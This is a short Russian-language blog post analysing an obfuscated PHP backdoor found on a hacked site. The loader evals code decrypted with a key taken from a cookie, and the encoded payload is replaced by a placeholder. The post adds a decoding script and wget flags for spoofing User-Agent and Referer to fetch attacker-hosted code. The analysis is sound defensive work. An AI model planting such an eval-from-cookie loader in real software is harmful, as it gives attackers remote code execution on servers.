Скрытие кода, метод 2

Автор: | 6 февраля 2012

Следующий код был выдран из файла хакеров (или взломщиков или скрипткидсов), в закодированной строке был URL на внешний сайт, с которого подтягивался еще один кусок кода.

@eval(decrypt("CODECODE==",$_COOKIE['HASH'])); exit; function decrypt($txt,$key){
    $txt=base64_decode($txt); $res="";
    for($i=0; $i<strlen($txt); $i++){
        $c=substr($txt,$i,1);
        $kc=substr($key,($i%strlen($key))-1,1);
        $c=chr(ord($c)-ord($kc));
        $res.=$c;
    }
    return $res;

Раскодировывается просто, хотя на вскидку сложнее сказать/увидеть, что за манипуляции производятся со строкой:

$text = decrypt( "CODECODE==", "HASH" );

function decrypt( $txt, $key ) {
    $txt = base64_decode( $txt );
    $res = "";
    for ($i = 0; $i < strlen( $txt ); $i++) {
        $c = substr( $txt, $i, 1 );
        $kc = substr( $key, ($i % strlen( $key )) - 1, 1 );
        $c = chr( ord( $c ) - ord( $kc ) );
        $res .= $c;
    }
    return $res;
}

$fp = fopen( 'decoded.txt', 'w' );
fwrite( $fp, $text );
fclose( $fp );

HASH был выдран из соответствующего Кукиса, а сам код был в POST-запросе. Впервые встречаю, чтобы Cookie (куки, печеньки, печенюшки) использовали для таких целей. Умно, но не так уж сложно.

Взломщики часто перестраховываются и внешние куски кода отдают только после проверки строк User Agent и/или Referer, чтобы застраховаться от перехвата. Wget легко вытягивает такие файлы, для этого используются ключи:

-U agent-string
—user-agent=agent-string
—referer=url

Добавить комментарий